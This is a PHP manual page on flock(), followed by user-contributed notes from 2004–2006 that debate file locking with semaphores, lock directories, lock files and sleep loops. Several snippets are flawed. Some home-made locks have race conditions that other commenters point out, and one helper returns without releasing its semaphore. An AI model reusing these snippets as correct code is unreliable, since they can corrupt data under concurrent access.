在部分操作系统中，flock() 以处理级执行。当用一个多线程服务器 API（比如 ISAPI）时，您可能不可以依靠 flock() 来保护文件，因为在同一服务器内运行在其它线程的 PHP 脚本可以对该文件进行处理。

flock() 不支持旧的文件系统，如 FAT 以及它的派生系统。因此，它在这种情况下经常会返回一个 FALSE 值（尤其是指 Windows 98 的用户）。

add a note add a note User Contributed Notes
Mark Miller
25-Apr-2006 10:41
The key is to create an empty lock file that goes with the real file you want to protect.

$fp = fopen($lockFile, 'x');
fclose($fp);

Now open the lockfile in read mode

$this->lockFile = fopen($lockFile, 'r');

now grab your lock on it.

flock($this->lockFile, LOCK_EX + LOCK_NB);

Now you can access the real file using 'w' or 'w+' concurrently without corruption. Always acquire a lock on the lock file before writing to it. I have not been able to cause a problem by leaving out grabbing a reader lock so I will leave that up to you.
wildcat at brightNOSPAMpages dot net
09-Apr-2006 02:48
I wrote the following function to make a script wait in a queue of instances accessing the same shared resource and then lock it, as a part of a lock-access-release advisory mechanism based on locking directories.

It works on my web site (also passes the loop test proposed by dranger below). Might show unpredicted behaviors on other systems, under conditions I didn't think at or produce, expecially when mkdir atomicity is not guaranteed.

The whole script is too long for posting, but everyone interested in looking for eventual bugs, testing, torturing and using it, can download code and documentation from http://brightpages.net/doc > QLCK.

Hope it is useful.

<?php

function qLock($lockSuffix, $tmpDir, $maxWait, $padLength) {

   if ($tmpDir == '' or !is_dir($tmpDir)) $tmpDir = '.';
   $maxWait = (int) $maxWait; if ($maxWait <= 0) $maxWait = 60;
   $padLength = (int) $padLength; if ($padLength <= 0) $padLength = 6;

   if ($lockSuffix == '') {

       return false;

   } else {

       $currentdir = getcwd();
       chdir($tmpDir);                // relative to the current directory
       $n = 0;
       $lockdirs = glob('*-*.'.$lockSuffix, GLOB_ONLYDIR) or array();

       foreach($lockdirs as $lockdir) {

           list($m, ) = explode('-', $lockdir);
           $m = intval($m);
           if ($m > $n) $n = $m + 1;

       }

       $npad = str_pad((string) $n, $padLength, '0', STR_PAD_LEFT);

       while (glob($npad.'-*.'.$lockSuffix, GLOB_ONLYDIR)) {

           $n++;
           $npad = str_pad((string) $n, $padLength, '0', STR_PAD_LEFT);

       }

       $lockname = $npad.'-'.md5(uniqid(rand(), true)).'.'.$lockSuffix;

       if (@mkdir($lockname)) {

           $nlockdirs = glob($npad.'-*.'.$lockSuffix, GLOB_ONLYDIR) or array();

           if (count($nlockdirs) != 1) {

               @rmdir($lockname);
               return false;

           } else {

               $prelockdirs = array();
               $lockdirs = glob('*-*.'.$lockSuffix, GLOB_ONLYDIR) or array();

               foreach($lockdirs as $lockdir) {

                   list($m, ) = explode('-', $lockdir);
                   $m = intval($m);
                   if ($m < $n) $prelockdirs[] = $lockdir;

               }

               $t0 = time(); $t = 0;

               while (count($prelockdirs) != 0 and $t < $maxWait) {

                   $prelockdirs = array();
                   $lockdirs = glob('*-*.'.$lockSuffix, GLOB_ONLYDIR) or array();

                   foreach($lockdirs as $lockdir) {

                       list($m, ) = explode('-', $lockdir);
                       $m = intval($m);
                       if ($m < $n) $prelockdirs[] = $lockdir;

                   }

                   $t = time() - $t0;

               }

               if (count($prelockdirs) != 0) {

                   @rmdir($lockname);
                   return false;

               } else {

                   return $lockname;

               }

           }

       } else {

           @rmdir($lockname);
           return false;

       }

       chdir($currentdir);

   }

}

?>
christian dot wessels at web dot de
07-Apr-2006 05:41
dranger at export dash japan dot com is right, i once had the problem of a race condition in a database action because the script was very cpu-intensive so i looked around for some kind of mutex.
I finally came up to this which uses no files (and no flock) and survived all of my tests (on linux):
<?php
function generate_shmkey ($string)
{
   // Private: output unique integer based on $string
   return abs(crc32($string));
}

function vmutex_lock ($lockId, $maxAcquire = 1)
{
   // Public: take cover of semaphores and lock when possible
   global $shm_handle;

   $shm_key = generate_shmkey($lockId);
   if ($shm_handle = sem_get($shm_key, $maxAcquire))
   {
       if (sem_acquire($shm_handle))
       {
           return true;
       }
   }
   return false;
}

function vmutex_unlock ($lockId)
{
   // Public: remove lock
   global $shm_handle;

   return sem_release($shm_handle);
}
?>
heshan at sjtu dot edu dot cn
01-Apr-2006 02:08
dranger at export dash japan dot com 's suggestion is correct and useful. My purpose is just preventing any other process from disturbing the current process which is rewriting a "cache" file, and flock() itself can help me to achieve this.

$fp = fopen( "test.txt", "ab" );
if( $fp && flock( $fp, LOCK_EX ) ) {
   ftruncate( $fp, 0 );
   fwrite( $fp, $part_one );
   sleep( 10 ); // for test purpose, assume the whole writing process takes 10 seconds
   fwrite( $fp, $part_two );
   fclose( $fp );
}

it works well, I open 3 browser windows to request this page, and the third one actually takes more than 20( about 26 ) seconds to finish. and the content of cache.txt is correct and up-to-time.

tested under:
1, windows, apache2, php4.4.1
2, freebsd, apache, php4.2.3
dranger at export dash japan dot com
06-Mar-2006 01:45
Re: Niels Jaeckel

The code posted unfortunately does NOT work in race conditions, because even though it is improbable, there is still a chance the 'mutex' will fail and you will encounter a situation where two programs have a 'lock' for the same file at the same time. It is improbable, but in a busy system with perhaps many processes trying to open one file or perhaps two processes opening the file several times, the probability rises and you will most certianly get strange bugs at strange times.

Even though it looks quite improbable, there are two problems:

1) The extra ifs do not add any extra precautions. You might as well usleep for a few microseconds because only the last one matters.

2) Even though it looks like a single atomic command, if you look at the PHP source code, touch is relatively complicated. It gets the time from the computer, checks the base directory, etc.,etc.

This means that there will be times that this lock fails, no matter how improbable. What makes a race condition so nasty is that it happens only once every so often, making it nearly impossible to debug and really annoying.

*** The only safe way to implement locks is with flock or some other locking mechanism *outside* of PHP. ***
(caveat: there may be an alternate locking mechanism in PHP i don't know about, but you cannot make your own)

To put this to rest, make a PHP script using the functions described in the previous post. Then, add this code to the file:
<?php
/*** test.php ***/

// lock and unlock function defs go here

while(1) {
  if(lock("test")) {
   $f=fopen("importantfile", "w") or die;
   $pid=getmypid();
   $string="Important Information! From $pid";
   fwrite($f, $string);
   fclose($f);
   $check=file_get_contents("importantfile");
   if($check != $string) {
     echo "THIS LOCK FAILED!\\n";
   }
   unlock("test");
  }
}
?>
Then run this script from the command line - it will loop forever happily. Then, *while that script is running*, run the same script again while the first one is still going. In a UNIX environment you can do this by typing:

> php test.php &
> php test.php &

You will probably see this:
Warning:  unlink(test.lock): No such file or directory in lock.php on line 29
THIS LOCK FAILED!
Warning:  touch(): Utime failed: No such file or directory in lock.php on line 19

a lot of times.

This means the lock has failed :)

In fact, if you ever think you have invented a clever way to lock a file, test it first in this while loop. Just replace lock and unlock with your function and rearrange the code so it makes sense. Then run it and see if it fails.

Note that flock() passes this test beautifully.
Niels Jaeckel
03-Mar-2006 11:43
hi dranger at export dash japan dot com,

you are right with your thoughts about process-switching. But I think the following kind of code would work in race-conditions, because it is very improbably that the CPU switches after just ONE statement:

<?php

   // here my own lock-function WITHOUT flock()
   // you can call it a mutex...

   // lock ... compare to P(mutex)
   function lock($filename) {

     $filename .= '.lock';

     while (true) {

         if (! file_exists($filename)) {

           if (! file_exists($filename)) {

               if (! file_exists($filename)) {

                 return touch($filename);
               }
           }
         }
     }
   }

   // unlock ... compare to V(mutex)
   function unlock($filename) {

     unlink($filename . '.lock');
   }

?>

If you want to solve the reader/writer problem (many readers, just one exclusive writer) you can add some flock() - code instead of touch(...)

hth
dranger at export dash japan dot com
22-Feb-2006 10:19
jbr at ya-right dot com has the wrong idea of what flock is supposed to do.

flock is *supposed* to "hang" until the other lock is released. This is the intended behavior on ALL systems, not just Windows.

If this behavior is not acceptable, flock already has a mechanism to deal with this: LOCK_NB. Just add LOCK_NB to the second argument, and flock will not "hang." For example:
<?php
flock($fp, LOCK_EX+LOCK_NB, $wouldblock)
?>

and flock will return TRUE or FALSE immediately, setting $wouldblock to 1 if the call would have blocked.

You DO NOT need to muck about with while loops, usleep, "clever" md5 + time hashing tricks, random numbers, or any of this nonsense. These techniques defeat the entire point of using flock in the first place.

What's worse about jbr's code is that it introduces a bug that flock was meant to fix in the first place! It's called a "race condition" - here's an example:

1. Program A checks that file "fakelock" exists. It doesn't.
2. Processor switches to Program B.
3. Program B checks that file "fakelock" exists. It doesn't.
4. Program A writes its unique key, "A" to the file, and checks that its key is correct. It is.
5. Program B writes its unique key "B" to the file, and because its file pointer was pointing at the beginning of the file, it overwrites "A" with "B". It checks that its key is correct. It is.
6. Now Program A and Program B can both write to file "$fl_file.", and both overwrite the file that was to be protected. There are many other situations in which this code will fail as well.

To the best of my knowledge, YOU CANNOT MAKE YOUR OWN FLOCK USING JUST PHP NO MATTER HOW HARD YOU TRY. YOU MUST USE FLOCK.

If you have Windows ISAPI, you may have trouble with flock working correctly because it is multithreaded, but this kind of fix will not correct the situation.
jbr at ya-right dot com
19-Feb-2006 11:17
On Windows ISAPI testing a file or directory with flock does not return
TRUE OR FALSE, it just results in a system hang until the prior flock
called has been released. So it is sometimes better to create a fake
locking system that gives you complete control of the IO handle so you
can exist or move on if the lock is not released at a certain number
of tries or time, to get at the file!

// PHP 5 example

<?

$file = './log.txt';  // the file we are writing to
$data = "add this\r\n";    // data to add
$write_type = 'a';    // append to the file
$lock_name = './lock'; // the fake locking file name
$lock_tries = 10;      // the number of times to try and open the file

// usage

if ( fake_lock ( $file, $data, $write_type, $lock_name, $lock_tries ) === true )
{
   echo 'data written to file';
}
else
{
   echo 'could not write data to file!';
}

function fake_lock ( $fl_file, $fl_data, $fl_write, $fl_name, $fl_try )
{
   $fl_done = false;
   $fl_count = 0;
   $fl_key = md5 ( uniqid ( microtime () ) );

   do
   {
       $fl_count++;

       if ( ! file_exists ( $fl_name ) )
       {
           file_put_contents ( $fl_name, $fl_key );

           $fl_test = file_get_contents ( $fl_name );

           if ( $fl_test == $fl_key )
           {
               $fl_done = true;
           }
       }

       if ( ! $fl_done )
       {
           if ( $fl_count == $fl_try )
           {
               return ( false );
           }
           else
           {
               usleep ( 10000 );
           }
       }

   } while ( ! $fl_done );

   $io = fopen ( $fl_file, $fl_write );
   fputs ( $io, $fl_data );
   fclose ( $io );

   unlink ( $fl_name );

   return ( true );
}

?>
dranger AT export dash japan dot com
17-Feb-2006 02:03
Also note that if you want to truncate a file, but make sure it's locked first, you DON'T need to use a separate lock file like the directions say. Use this instead:

<?php

$f=fopen("file", "r+");
flock($f, LOCK_EX) or die("Error! cant lock!");
ftruncate($f, 0);
fwrite($f, $stuff);
fclose($f);

?>

But if you open a file with "w" or "w+" you WILL blow it away before you can lock it.
dranger AT export dash japan dot com
17-Feb-2006 01:50
You should never have to write code like this:

<?php

while(!($canWrite=flock($f, LOCK_EX))) {
  usleep(2000);
}
// go ahead and use file
fwrite(...);
fclose($f);
?>

This absolutely defeats the purpose of OS-supported locks, and what's worse is if you specify LOCK_NB, it eats up your CPU time.

The following code will work the same way:
<?php
// this will automatically block, that is, PAUSE until the lock is released
flock($f, LOCK_EX) or die("Error getting lock!");
// go ahead and use file
fwrite(...);
fclose($f);
?>

I'm not sure what these people creating spin/sleep loops are doing.
marc dot vanwoerkom at fernuni-hagen dot de
15-Feb-2006 06:00
I ran into a loop because I just checked for true (= you got the lock) as return value of flock() and tried again when I got a false.

   function naive_wait_for_file($fp) {
       while (true) {
           if (flock($fp, LOCK_EX)) {
               return;
           }
           $k = rand(0, 20);
           usleep(round($k * 10000));  # k * 10ms
       }
   }

Unfortunately in one case the $fp I put in was invalid, so I always got false and got stuck.
Lesson: check if your $fp is valid before entering the loop, or look closer if you get a false.

   function wait_for_file($fp) {
       if ($fp === false) {
           return;
       }
       while (true) {
           if (flock($fp, LOCK_EX)) {
               return;
           }
           $k = rand(0, 20);
           usleep(round($k * 10000));  # k * 10ms
       }
   }
Ivan
04-Feb-2006 04:48
damasta at onwebworx dot net said that it is impossible to delete a lock file inside of a register_shutdown_function callback. I found a way to do that. You just have to use an absolute path to the file:

<?php
function shutdown_callback() {
   unlink(dirname($_SERVER['SCRIPT_FILENAME']) . "/lock.lock"); //otherwise it wouldn't work
   echo "<h1>Terminating</h1>\n";
}
?>

Funny that echo works too, although PHP Manual says it shouldn't work :)
arne at bukkie dot nl
19-Jan-2006 06:27
An addition to administrator at proxy-list dot org snippet below.

To prevent unnecessary waiting check if the lock is obtained, if so skip the usleep():

       $fp = fopen($logFileName, 'a');
       $canWrite = false;
       //Waiting until file will be locked for writing
       while (!$canWrite) {
         $canWrite = flock($fp, LOCK_EX);

         // If lock not obtained sleep for 0 - 2000 miliseconds, to avoid colision
         if( !$canWrite ) {

           $miliSeconds = rand(0, 20); //1 u = 100 miliseconds
           usleep(round($miliSeconds*100000));
         }
       }
       //file was locked so now we can store information
       fwrite($fp, $toSave);
       fclose($fp);
12-Jan-2006 06:51
If you use a database, you can also create timeout locks.
administrator at proxy-list dot org
29-Dec-2005 12:12
Hello guys,

I want to shear one good trick, it was no invented by me but it is very useful with flock. This technology was used by team who invent Ethernet as my tutor Pitter Timothy teach me. I want to say thank you.

If you have a lot of scripts about 1000 which possible try to write something in file you need to lock file before starting writing. So you should use something like this:

       $fp = fopen($logFileName, 'a');
       $canWrite = false;
       //Waiting until file will be locked for writing
       while (!$canWrite) {
         $canWrite = flock($fp, LOCK_EX);
       }
       //file was locked so now we can store information
       fwrite($fp, $toSave);
       fclose($fp);

but during testing I have find out what some times script have to many collisions, and during 10 seconds can not write anything. It happened because some scripts try simultaneously. If file was busy they all will wait same time. So I use the same technology like guys who invent first simple Ethernet use in case of package collision. I put random millisecond sleep. You can not imagine but script start working 3 times quicker!

       $fp = fopen($logFileName, 'a');
       $canWrite = false;
       //Waiting until file will be locked for writing
       while (!$canWrite) {
         $canWrite = flock($fp, LOCK_EX);
         //Sleep for 0 - 2000 miliseconds, to avoid colision
         $miliSeconds = rand(0, 20); //1 u = 100 miliseconds
         usleep(round($miliSeconds*100000));
       }
       //file was locked so now we can store information
       fwrite($fp, $toSave);
       fclose($fp);

By the way I have no idea which diapason is better, but 0  1000 is not enough.

Hope it will help somebody

Best regards in your projects

Vitali Simsive
j t [atthedomain] imen&org&uk
15-Nov-2005 10:54
fackelkind honorsociety de wrote earlier a function to help with lock - but they should have used an incremental backoff solution - instead of sleeping for 30, w ould it not be nicer to sleep for 30 * n where n is the loop itteration?
relsqui at chiliahedron dot com
10-Nov-2005 07:43
Well, I can claim I wrote this as a workaround for earlier versions of PHP, but in reality I just didn't think to look up flock() until after I'd written it. However, if you do happen to have an earlier version of PHP, these might come in handy. Enjoy.

<?php

// Lock a file, timing out if it takes too long.
function lock ($lock, $tries) {
       $lock0 = ".{$lock}0";
       $lock1 = ".{$lock}1";
       for ($i=0; $i<$tries; $i++) {
               if (!is_file($lock0)) {
                       touch($lock0);
                       if (!is_file($lock1)) {
                               touch($lock1);
                               return 1;
                       }
               }
               usleep(100);
       }
       return 0;
}

// Unlock a file.
function unlock ($lock) {
       unlink(".{$lock}1");
       unlink(".{$lock}0");
}

// Usage example.
$filename = "somefile";
$data = "stuff and things\n";
$tries = 10;
if (lock($filename, $tries)) {
       $h = fopen($filename, "a") or die();
       fwrite($h, $data);
       fclose($h);
       unlock($filename);
} else {
       die("Failed to lock $filename after " . ($tries*100) . " milliseconds!";
}
?>
kit dot lester at lycos dot co uk
18-Sep-2005 07:49
Amazing! these discussions are so similar to those back in the  late '60s and early '70s about how to achieve file synchronization - especially across not-very-compatible platfoms.

That was the big debate that led us to create databases, rollback and all, for exactly the same reasons.

The only big difference between then and now is that these days we have the internet, whereas back then the discussion was in the letters columns of the computing journals. [E-mail only started to be available in the late 70s - and messy to use via gateways between different national nets.]

PHP's flock() is a nice little hack for simple synchronization situations: trying to use it in big situations won't reliably work. If you need a bit of resilience in the application, you have to provide it yourself - which could be as simple as occasional manual backups of the files that could become corrupted.

The mkdir/etc trick is a slightly bigger hack: but horridly dependant on atomicity, which is not guaranteed on guess-which-corporation's crummy operating systems. Consider switching to Unix/Linux/Mac.

If you have a big data-handling problem needing high automatic resilience, then you need a database: sadly, no-one's come up with a better answer in 40 years of trying. If PHP+MySQL is too slow, you need either one of the faster expensive databases, or servelets.

Or wait for CPUs to get fast enough for you.

Or rethink the problem you're trying to solve [which is what I've done many many times over the decades: the resulting application is invariably better than anything I'd have achieved with the original poor problem-analysis.]

----------------

It's depressing how people will struggle with inventing a square wheel without checking whether it was invented before. "Those who know no history are condemned to repeat it." [Carlos Casteneda - but similar thoughts were expressed by Churchill, Napolean, Alexander of Macedon, and many others.]
vlad at NOTNEEDED easysoft dot ee
09-Sep-2005 05:52
I was searching for the idea to get flock() to work without data loss, and unfortunately all i read here was not helpful to me, after some hard testing i still get some data lost or corrupted.

So my suggestion is how to make a really data safe mechanism is to organize something like simple multithreaded queue daemon, that will listen for connections and wait for data to be sent and push it to some queue. Then process data from the queue and store it to file/sql or whatever we need.

Another words: we get data queued and then processed and stored without any flock(); Also this gives us possibility to have centralized data sysytem (in case we need to collect data from different remote servers).

Sure this will be not so easy as flock(), so people who count on proffessionalism and not luck, may find this helpful.

Thnx.
fackelkind honorsociety de
16-Aug-2005 10:58
If found a handy way for myself, to handle a filelock on linux and windows:

<?php
       function &file_lock (&$handle, $lock = true){
               while (false === flock ($handle, ($lock == false) ? LOCK_UN : LOCK_EX + LOCK_NB))
                       usleep (300);
       }
?>

May it help
     So far
damasta at onwebworx dot net
10-Aug-2005 11:28
just wanted to say that you will most likely fail if you use a separate lock file together with register_shutdown_function.

my script did some different actions... resizing pictures, rotating them and this stuff. it needed a "database" file to get the correct file locations. this database file also stored some flags. and of course the script had to save that file when it was done.

because of my script exited on many different points depending on the action i used register_shutdown_function to save the file. it wanted to use a locking system to be sure the script doesn't overwrite the data another process had written into it some microseconds before. i was running on windows 2000 and apache2 on my developing machine, and flock always returned true for some reason... so i used a separate lock file. the script looked for it at the beginning and exited if it was found. otherwise it created it. but this file had to be deleted at the end. i put the unlink command into the registered shutdown-function but it never deleted the file. i tried clearstatcache and some other stuff but it didn't help.

maybe this helps someone.
php at no3 dot ca
09-Jul-2005 05:11
In response to the solution below, it should be noted that Semaphore, Shared Memory and IPC Functions (which include sem_get, sem_acquire, and sem_release) are not supported by default in PHP.
eddi.to-grip.de
18-Apr-2005 11:53
When using a multithreaded server like apache with worker.c on Linux you can use follow lines:

<?php
function fprotect($key,
           $file,
           $content=FALSE,
           $fopen_mode='w',
           $chmod=0600,
           $sem_mode=0600
           )
   {
   $semaphor=sem_get($key,1,$sem_mode);
   sem_acquire($semaphor);

   if($content)
       {
       if($dat=fopen($file,$fopen_mode))
           {
           chmod($file,$chmod);
           fputs($dat,$content);
           fclose($dat);
           }
       else    return(FALSE);

       }
   else    return(file_get_contents($datei));

   sem_release($semaphor);

   return(TRUE);
   }
?>

Also this should work instead of flock() using a non-multithreaded server on Linux.

Greetings form Berlin :)
zmey at kmv dot ru
28-Mar-2005 02:33
2pentek_imre at mailbox dot hu:
flock() alone is not enough to handle race conditions, you will require the fseek() function too:
<?php
$f=fopen($filename,"a+") or die();
flock($f,LOCK_EX) or die();
// in case some other script has appended to the file while we were waiting on flock()...
fseek($f,0,SEEK_END);
//here write some lines to the file -- not included
//then close:
// flock($f,LOCK_UN) or die(); // fclose will remove all locks automatically
fclose($f) or die();
?>

But the problem with interrupted script under apache still cannot be addressed gracefully. If the script is interrupted while writing to the file, the file's contents will get corrupt. Temporary files are nice, but they do not guarantee that your information will not be lost. For example:

<?php
// open file for read-write access
$f=fopen($filename,"r+");
flock($f,LOCK_EX) or die();
$ft=fopen($filename.(getmypid()),"w") or die();
//here we copy data from the locked file to temporary one, modifying it in the process
//then close temporary file:
fclose($ft) or die();
// Now we have two files: temporary file and locked source file.
// This trick works under *nix, but has some drawbacks.
// For Windows, we must first unlink the original file.
rename($filename.(getmypid()),$filename) or die();
// this will unlock the hidden, ex-original file under *nix, but will fail under win.
fclose($f) or die();
?>

Under *nix, this code works just fine, but still can lead to data loss. Look:
1. We lock the original file.
2. Another copy of the script tries to lock the file (say, to modify some other part of file). It waits till we release the lock.
3. We make temporary file with modified data, and close it.
4. Rename succeeds, but in fact it works this way:
4.1 Original file's inode is marked as deleted, but the file is still on the disk because there are open handles to it. The file will be actually deleted only after the last handle closes.
4.2 Temporary file's inode is corrected so that its name is the name of the original file.

What are the consequences? The second script, that was patiently waiting for us to unlock the file, gets access to the file, BUT: the file is not the new, updated version! The script's handle still points to the original file, although it is not accessible by any other program. So the script happily processes the OLD version of the original file, and replaces the files once again. Voila - the updates made by the first script are all lost!

Under Windows, we will not be able to rename the temporary file without unlinking the original file first. Besides, we will not be able to unlink the file without unlocking it (Windows uses mandatory locking)! So we will not be able to reliably replace the original file with the temporary one without some trickery (e.g., use of external lock files).
maciej.trebacz[at]gmail.com
20-Dec-2004 02:50
I have an idea about race condintions. How about make a seperate check for integrity of file somewhere in the middle of the script ?

Let's take a look on this concept:

1. Some init code
2. Read whole using file() or other function
3. Do the rest that script want to do
4. After writing something to file, check for the file integrity.  It can be done in several ways, depending on what you're putting to file. I'm doing file database's so it's rather easy. If the file fails this check, open it, lock it and use data read in (2) to rewrite it. Also a good idea will be putting this whole procedure into while...do, so you ensure that the file will be good.
5. Rest of the script

It may also not be perfect, but I think it's a very big chance to prevent scripts to mess your files.
mic at mymail dot bz
02-Dec-2004 08:54
2 rehfeld.us

in your code
<?php
...
       $timeStart = microtime_float();
       do {
           if ((microtime_float() - $timeStart) > $timeLimit) break;
           $locked = @mkdir($lockDir);
       } while ($locked === false);
...
?>

$timeStart and return value of microtime_float() is _float_, i.e. for example $timestart = 1101991367.393253
and microtime_float() - $timeStart will be like 0.00123
but $timeLimit is _integer_ and much bigger

So code will work but execution timeout ocured.

you must set value of $timeLimit in float, i.e. $timeLimit = 0.03
pentek_imre at mailbox dot hu
31-Oct-2004 07:51
flock isn't good in race conditions. I accept that it can correctly lock file and can correctly block php processes if file is locked, but anyway this function isn't the right way to manage a race condition.
Let's have a look at this code:
<?php
$f=fopen($filename,"a+") or die();
flock($f,LOCK_EX) or die();
//here write some lines to the file -- not included
//then close:
flock($f,LOCK_UN) or die();
fclose($f) or die();
?>
Then generate a race situation with two php processes:
1: open file ok, no file found, create
2: open file ok, file found seek to the end (0lenght file so to the beginning)
1: lock file ok
2: flock waits since file is already locked.
1: write ok
1: unlock ok
2: flock ok this process now continues
1: fclose ok
2: write something, but due to prebuffering the file is now empty, so content written by 1 is now unconsidered, forgotten.
2: unlock ok
2: fclose ok
file will have only the content from process 2
this is the situation if you use r+ too, no matter if you used fflush or not.
conclusion: you may want to create a separate lock file!
separate lock file will behave like in the previous example too, so let's try LOCK_NB and $wouldblock, file close and reopen.
let's see this example:
<?php
$file="/tmp/phplockfile";
do
 {
  if(isset($f))
   {
   flock($f,LOCK_UN);
   fclose($f);
   }
  $f=fopen($file,"a") or die();
  flock($f,LOCK_EX+LOCK_NB,$W);
//  sleep(1);
 }
while ($W==1);

//lock is mine:
echo $_SERVER["UNIQUE_ID"]." ".date("r")."\n";
sleep(1);
echo $_SERVER["UNIQUE_ID"]." ".date("r")."\n";

//release the lock:
flock($f,LOCK_UN);
fclose($f);
?>
I tried this code for 10 (ten) parellel processes. only three of them succeeds to lock the file and unlock it, the other seven quits with execuition timeout. uncommenting the sleep(1); won't help too, just execution will be longer (30 sec is counted not as real time but as cpu time)
I tried random usleep too, as I remember this wasn't helped too.
Remember that file close and reopen is a must becouse processes may write to the file, and this way these extra bytes will be considered too.
rehfeld.us
29-Sep-2004 07:04
<?php

/*
 * I hope this is usefull.
 * If mkdir() is atomic,
 * then we do not need to worry about race conditions while trying to make the lockDir,
 * unless of course were writing to NFS, for which this function will be useless.
 * so thats why i pulled out the usleep(rand()) peice from the last version
 *
 * Again, its important to tailor some of the parameters to ones indivdual usage
 * I set the default $timeLimit to 3/10th's of a second (maximum time allowed to achieve a lock),
 * but if your writing some extrememly large files, and/or your server is very slow, you may need to increase it.
 * Obviously, the $staleAge of the lock directory will be important to consider as well if the writing operations might take  a while.
 * My defaults are extrememly general and you're encouraged to set your own
 *
 * $timeLimit is in microseconds
 * $staleAge is in seconds
 *
 *
 */

function microtime_float()
{
   list($usec, $sec) = explode(' ', microtime());
   return ((float)$usec + (float)$sec);
}

function locked_filewrite($filename, $data, $timeLimit = 300000, $staleAge = 5)
{
   ignore_user_abort(1);
   $lockDir = $filename . '.lock';

   if (is_dir($lockDir)) {
       if ((time() - filemtime($lockDir)) > $staleAge) {
           rmdir($lockDir);
       }
   }

   $locked = @mkdir($lockDir);

   if ($locked === false) {
       $timeStart = microtime_float();
       do {
           if ((microtime_float() - $timeStart) > $timeLimit) break;
           $locked = @mkdir($lockDir);
       } while ($locked === false);
   }

   $success = false;

   if ($locked === true) {
       $fp = @fopen($filename, 'a');
       if (@fwrite($fp, $data)) $success = true;
       @fclose($fp);
       rmdir($lockDir);
   }

   ignore_user_abort(0);
   return $success;
}

?>
chuck
23-Sep-2004 04:15
Creating lock files and testing for their existence is absolutely wrong, NFS or not.  The only file operations that are guaranteed to be atomic are mkdir() and symlink().  And those aren't atomic over NFS (or other network filesystems) either.

Short answer: create lock directories, not files.  Don't stat the directory to test, simply try to create it and see if it fails.  And all locking bets are always off with NFS.
rehfeld.us
13-Sep-2004 10:48
This is based on the function by jeroenl at see dot below
and the suggestion of jeppe at bundsgaard dot net

please note this wont work on windoes unless using php5, due to the use of usleep()

one may wish to tailor some of the values to better suit thier application. the rand() values, the number of loop attempts, and the max age of the lockfile are what im referring to

<?php

function locked_filewrite($filename, $data) {
   ignore_user_abort(1);
   $lockfile = $filename . '.lock';

   // if a lockfile already exists, but it is more than 5 seconds old,
   // we assume the last process failed to delete it
   // this would be very rare, but possible and must be accounted for
   if (file_exists($lockfile)) {
       if (time() - filemtime($lockfile) > 5) unlink($lockfile);
   }

   $lock_ex = @fopen($lockfile, 'x');
   for ($i=0; ($lock_ex === false) && ($i < 20); $i++) {
       clearstatcache();
       usleep(rand(9, 999));
       $lock_ex = @fopen($lockfile, 'x');
   }

   $success = false;
   if ($lock_ex !== false) {
       $fp = @fopen($filename, 'a');
       if (@fwrite($fp, $data)) $success = true;
       @fclose($fp);
       fclose($lock_ex);
       unlink($lockfile);
   }

   ignore_user_abort(0);
   return $success;
}

?>
rudy dot metzger at pareto dot nl
08-Sep-2004 06:31
Like a user already noted, most Linux kernels (at least the Redhat ones) will return false, even if you locked the file. This is because the lock is only ADVISORY (you can check that in /proc/locks). What you have to do there is to evalute the 3rd parameter of flock(), $eWouldBlock. See for an example below. Note however that if you
lock the file in non blocking mode, flock() will work as expected (and blocks the script).

<?php

$fp = fopen( "/var/lock/process.pid", "a" );
if ( !$fp || !flock($fp,LOCK_EX|LOCK_NB,$eWouldBlock) || $eWouldBlock ) {
  fputs( STDERR, "Failed to acquire lock!\n" );
  exit;
}

// do your work here

fclose( $fp );
unlink( "/var/lock/process.pid" );

?>
jeroenl at see dot below
07-Jul-2004 08:16
lockwang, thanx for pointing out the bug I forgot to update overhere.

I agree (as mentioned) that an old not unlinked lockfile will stop writing, but at least writing will never corrupt old data and if needed you can add a lock clean up.
If you want uncorrupted files and a possible data loss is not a very big problem (like with traffic logging, etc.) this solution does work.

After trying a lot of things (always corrupting files) I use this code now since a few months for loggings and counters on many sites, resulting in (gzipped) files up to 2 Mb, without any corrcupted file or any not unlinked lockfile yet (knock knock...).

A better solution (100% save would be nice :) would be great, but since I haven't seen one around yet ...

If more is needed SQLite (if available) might be an alternative.

Corrected code:
<?
   function fileWrite($file, &$str, $lockfile = null) {
       // ceate a lock file - if not possible someone else is active so wait (a while)
       $lock = ($lockfile)? $lockfile : $file.'.lock';
       $lf = @fopen ($lock, 'x');
       while ($lf === FALSE && $i++ < 20) {
           clearstatcache();
           usleep(rand(5,85));
           $lf = @fopen ($lock, 'x');
       }
       // if lockfile (finally) has been created, file is ours, else give up ...
       if ($lf !== False) {
           $fp = fopen( $file, 'a');
           fputs( $fp, $str); // or use a callback
           fclose( $fp);
           // and unlock
           fclose($lf);
           unlink($lock);
       }
   }
?>
Joby <god at NOSPAMPLEASE dot greentinted dot net>
01-Jul-2004 08:59
I'm thinking that a good way to ensure that no data is lost would be to create a buffer directory that could store the instructions for what is to be written to a file, then whenever the file is decidedly unlocked, a single execution could loop through every file in that directory and apply the indicated changes to the file.

I'm working on writing this for a flat-file based database.  The way it works is, whenever a command is issued (addline, removeline, editline), the command is stored in a flat file stored in a folder named a shortened version of the filename to be edited and named by the time and a random number.  In that file is a standardized set of commands that define what is to be done to what file (the likes of "file: SecuraLog/index_uid" new line "editline: 14").

Each execution will check every folder in that directory for files and a certain amount of time (I don't know how long, maybe 1-2 seconds) is spent making pending changes to unlocked files.  This way no changes will be lost (i.e. person 1 makes a change at the same time as person 2, and person 1 loses the race by just enough to have their changed version of the file overwritten by person 2's version) and there will be no problems with opening an empty open file.
lockwang
22-Jun-2004 01:28
your code has a mistake , i think you should change[  $lf = @fopen ($lf, 'x');] to [  $lf = @fopen ($lock, 'x');]
and your code has a big problem that if your lockfile is not unlinked for any reason and your function will not work properly. so i think your function is not a good one.
jeroenl at zwolnet dot cNOoSPAMm
21-Apr-2004 07:08
A possible workaround for the missing filelock mechanism. Thanks to Bret below who gave me the idea to use fopen() with the 'x' option.
I use this for logging in gzipped logfiles up to many hundreds of KBs (and some small counter files) since a few weeks without any problems (yet).

But again ... this is not 100% save and will fail with a possible locked file when the script is aborted while the lock is created. This can however - when needed - been solved by creating a lock cleanup e.g. based on filetime.
And writing to the file is not 100% sure: we give up after trying for a while - but what is on the net anyhow :).

If you need something else than adding to the end of a file, use a callback function for rewriting the filecontent.
And you might want to change the loop count and sleep time.
NB: tested (and using) on WinXP, Linux and FreeBSD.

<?
   function fileWrite($file, &$str, $lockfile = null) {
       // ceate a lock file - if not possible someone else is active so wait (a while)
       $lock = ($lockfile)? $lockfile : $file.'.lock';
       $lf = @fopen ($lock, 'x');
